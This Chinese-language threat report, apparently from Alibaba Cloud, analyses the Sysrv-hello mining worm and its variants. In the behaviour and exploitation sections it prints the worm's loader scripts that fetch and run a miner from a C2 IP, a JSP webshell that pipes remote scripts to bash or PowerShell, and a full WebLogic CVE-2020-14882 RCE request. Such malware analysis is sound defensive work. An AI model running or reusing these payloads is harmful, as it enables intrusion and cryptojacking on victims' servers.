Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Sysrv-hello挖矿样本初现

 事件背景

阿里云云安全中心,针对云上海量样本进行持续监控,对奇异样本进行自动捕获标定和分析。本月初,发现一例具有持久化功能的样本,具有与此前已知程序文件的差异特性,经过分析,属于一款新型挖矿支持组件,且处在爆发初期。鉴于该样本的特征路径以及特征代码,暂时将其命名为Sysrv-hello。

 Sysrv-hello样本特性

· 该样本服务于挖矿行动,兼具蠕虫、爆破、木马、后门等多种特性,漏洞利用与爆破方式、功能集成性不同于以往已知样本;

· 经过对该样本的特征分析与关联样本检索,发现该样本非孤立样本,而是一个本月新出现投放,并在早期积极迭代变换的挖矿活动;

· 借助Golang,该家族跨越Linux与Windows平台,通过陆续集成的多种最新漏洞与应用的攻击方式,具备很强传播性。

 时间线

· 12月3日:13时15分
最早发现的0号Linux样本(md5=ead2cf8ab7aef63706b40eb57d668d0a)在云上首次出现,影响大量用户机器,影响面较大;
· 12月6日
捕获到该家族第1号变种族于9:30开始投放,面向Linux免杀,且投放量非常克制,当日共捕获到4例样本,每个样本仅传播到1-2台主机
· 12月7日
该样本在VirusTotal上首次由外部上传;
· 12月15日
发现该样本2号Linux变种家族的第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播;
· 12月16日:23点
首次发现该样本的3号变种族,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系;
· 12月22日:14时30分
截至14:30,VirusTotal全部62款商业杀毒引擎均未报毒。

 修复建议

Sysrv-hello目前还处在扩散初期,尽管有快速迭代、不断集成最新的攻击方式,但传播面还不够大,初期的检测防御对于恶意行为防御更有意义。

当前对于该家族的核心样本Sysrv主程序,以及投递的挖矿程序,阿里云云安全中心均已默认可检出,所有云主机用户可关注是否存在病毒检测告警,并及时关注应用环境是否存在漏洞未修复、弱密码等问题。

对购买云安全中心的用户,当前各种检测模型已可多维度检测关联入侵行为,给出实时告警;同时全部病毒样本以及后续变种均已支持文件精准防御以及行为防御。



以下是对该恶意样本的一手分析报告:

0号样本分析

 静态逆向

该样本为Linux 64位程序,使用Golang开发并用UPX 3.94加壳,未做额外混淆,脱壳前后大小为4,634,788B/8,687,768B,本地编译路径为 :/media/psf/AllFiles/Users/mac/go/src/hello/src。样本并未完全去除文件路径等元信息。

根据子目录,样本主要有如下五部分功能组件:

【 Scan 模块 】

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

扫描器组件是该样本从main.main入口执行的最外层功能,由此再下一步调用其它功能。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

【 Gateway 模块 】

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Gateway模块由SYN扫描器调用,提供Linux网关探测能力。

【 Nu 模块 】

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Nu模块为其它功能模块提供基础功能实现(network utility),包括最基础的字符串操作、端口探测、日志等;同时封装了shell命令执行功能。

【 Exp 模块 】

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Exp模块包含多个漏洞利用做横向移动的能力,在进行端口扫描之后执行。在该样本中,会尝试对Mysql、Tomcat、WebLogic的应用主机探测触发RCE漏洞。

【 Work 模块 】

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

Work为直接控制挖矿的代码模块,持久化判断挖矿任务存活,释放并解压缩程序中内嵌的xmrig挖矿程序本体gzip包:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

 行为分析

初始化和准备阶段,样本运行时首先会监听本地的,52013端口,此端口作为互斥量,防止自身重复启动。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

然后初始化端口扫描模块,包括逆向可见的syn,tcp两种扫描方式:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

然后将当前的扫描方式写入文件./flag.txt中。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

第二步,释放xmrig挖矿模块,并启动,释放的完整路径是 /tmp/network01

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

启动参数是:

./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.

矿池地址是:

49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux

第三步,随机生成ip地址,进行端口扫描:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

会扫描包括Mysql、Tomcat、WebLogic服务,并自动进行漏洞利用和爆破。具体漏洞利用和爆破细节见下文。

第四步,如果获取到目标系统的shell,会首先从 http://185.239.242.71/ 下载脚本和xmr挖矿程序:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

脚本 http://185.239.242.71/ldr.ps1 的内容如下:

$cc = "http://185.239.242.71"

$is64 = ((Array)[0].AddressWidth -eq 64)

$xmr = "$cc/xmr32.exe"

if ($is64) {

$xmr = "$cc/xmr64.exe"  

}

(New-Object Net.WebClient).DownloadFile($xmr, "$env:TMPnetwork01.exe")

if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {

Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden  

}
(New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMPsysrv.exe")

Start-Process "$env:TMPsysrv.exe" -windowstyle hidden

脚本 http://185.239.242.71/ldr.sh的内容如下:

#!/bin/bash

cc='http://185.239.242.71'

get() {

curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"  
chmod +x "$2"  

}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /

# kill hich cpu usage proc

ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do

cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"  

if [ $? -ne 0 ]; then  
    kill -9 $pid  
fi  

done

ps -fe | grep network01 | grep -v grep

if [ $? -ne 0 ]; then

echo "no miner runing"  

if [ $(getconf LONG_BIT) = '64' ]; then  

    echo "downloading xmr64..."  

    get "$cc/xmr64" network01  

else  

    echo "downloading xmr32..."  

    get "$cc/xmr32" network01  

fi  

nohup ./network01 1>/dev/null 2>&1 &  

fi

ps -fe | grep sysrv | grep -v grep

if [ $? -ne 0 ]; then

echo "no sysrv runing"  

get "$cc/sysrv" sysrv  

nohup ./sysrv 1>/dev/null 2>&1 &  

fi

同时,自带有一个弱口令字典,会自动进行爆破

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

 目标服务漏洞利用与爆破方式

【 Mysql 】

通过弱口令登录成功之后,先首先判断系统版本以及平台,最后尝试写入32位或者64位的udf来进行任意命令执行。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布
Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

【 Tomcat 】

尝试爆破Tomcat的管理页面的用户名和密码:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

如果爆破成功,就尝试向服务器上上传war包进行项目部署来getshell。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

war包本质上是一个压缩包,压缩包的内容为:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

解压出来有一个1.jsp文件,内容如下:

<%@ page import="java.io.*" %>

<%

try {

String w = request.getParameter("win");  

String l = request.getParameter("linux");  

String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};  

String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};  

if (System.getProperty("os.name").toLowerCase().contains("win")) {  

    Runtime.getRuntime().exec(cw);  

} else {  

    Runtime.getRuntime().exec(cl);  

}  

} catch (IOException e) {}

// remove self

File f = new File(request.getSession().getServletContext().getRealPath("/"));

new File(f.getParent() + File.separator + f.getName() + ".war").delete();

out.print("1");

%>

【 WebLogic 】

利用cve-2020-14882漏洞进行getshell,发送的payload如下:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')

一个payload兼容Linux和Windows操作系统。

家族演进跟踪

在发现该家族之后,我们基于云上全量样本的相似度检索,发现了前述0号样本的关联相似样本,证明此次并非一个试水的投放或已知样本的技术演进。根据样本技术特性,可以将该样本的发展标注到4个主要节点,证明该挖矿家族的发展是其初期快速扩张和迭代的阶段。

 0号样本

这就是前文分析的样本。最早在12月3日在云上发现。

约相同时间,云上捕获了该样本的Windows版本,md5=030231d96234f06ae09ca18d621241e5。

该样本与Linux样本基本同源,仅适配Windows有若干必要的调整,包括:去除挖矿程序的释放控制功能(仅限Linux版本);扫描器与payload的载入方式等。

 1号变种族

此类样本观察到最初于6日9:30开始投放,仅在6-7日进行投放,且投放量非常克制,当前已捕获到共4例样本,每个样本仅传播到1-2台主机。

这阶段的免杀方式为,将原始Sysrv样本加壳后,作为数据嵌入在另外的loader程序中,释放后载入生效;嵌入的样本抠出脱壳后,md5=750644690e51db9f695b542b463164b9。

除此以外,样本本体并未发现明显差异。

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

因为此家族仅为0号样本在Linux平台的特殊免杀变种,因此在Windows平台的同源更新版本样本,与0号Windows样本没有显著差异。

 2号变种族

此类样本在15日发现投递,其中Linux家族第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播。此类Linux样本相比0号样本,去掉了内嵌压缩挖矿程序释放执行的逻辑,从而显著减小样本体积到2MB以内;同时对功能实现代码做了少量改写,包括Tomcat的爆破方式等。

该子家族的Windows版本与Linux保持一致;因为Linux版本完全去除了自带嵌入的挖矿程序的逻辑,Windows版本也同步去除了gzip解压缩的包引入(此前实际也并无作用,仅为同一套代码的引入),文件体积有所缩小。

 3号变种族

该变种族最早在16日23点首次发现,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系。

在蠕虫功能方面,从此类变种开始新增了对Jenkins的探测与定向爆破功能。除此以外,该类家族基本保持与2号的继承性,但每个样本均在功能实现的主要代码中,引入了少量局部的代码重构,从而降低关键代码的整体相似度,疑似用于规避样本模糊匹配的分析方法。

关联事件与告警

对此事件,阿里云云安全中心已经对攻击链路中的主要节点具备检测和防御能力。
对经由Mysql投递ldr脚本,当前可检测到进程的异常操作指令,精准防御可进行进程行为拦截:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布
Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对Tomcat进入的方式,检测到Java执行异常指令:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对于Sysrv程序的访问中控IP,具有实时检测能力:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对于Sysrv横向移动的动作,检测到对外发起登录扫描:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对Sysrv程序本体,按照后门程序/蠕虫病毒类别识别告警,在开启防御的主机可疑精准防御:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对于ldr恶意脚本,具有实时判黑告警:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对挖矿程序本体,始终具有检测能力,并在开启防御的主机上,直接进行精准防御:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对挖矿程序的矿池通信网络行为,具有对应的告警和关联信息佐证:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

对Sysrv进程残留的持久化方式,具有定时扫描检测:

Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

IoC

ead2cf8ab7aef63706b40eb57d668d0a

a45c5b97068a709c92aa2fb73cc39d29

bb15e4c273044a5e714acec991dde4b4

4736f80b88c60d2b650dd7273b437d0f

e7b1ee6578b88e1c2650982d35a0bbfc

e9317adace503cefa02007579eb1c621

ec773867cf1cc0479e57eae020f6f399

f4c90b41126fc17848bd0d131288bd36

58a05154e0a702843b8304ccfd79ba2f

7f9abe219ae8dd4e338bd2a9fcaf2e05

301a0a58dd98ecbbe12c6acbd0c7bbdc

030231d96234f06ae09ca18d621241e5

4b22a05d547d0345f91ba9f5fb1f012c

0af416fb7a7e164ddd90da14d116c07e

bbe3e53b19548d093c8405847828a64d

cae2b58fc73551901a70465fa46ea23c

d8816891b21d83c318818ebc32e9609d

642d73c85e6e79720a5ae7b82fc427c5

http://185[.]239[.]242[.]71/ldr.sh

http://185[.]239[.]242[.]71/ldr.ps1

http://185[.]239[.]242[.]71/sysrv.exe

http://185[.]239[.]242[.]71/sysrv

点击链接 https://www.aliyun.com/product/sas?spm=5176.19720258.J_80...0.173.54212c4aaqT6eQ
一键获取云安全中心精准防御

上一篇:阿里云可信计算又一商业化成果落地,发布系统可信解决方案


下一篇:二十多天后密码法正式施行 必备功课做完了吗?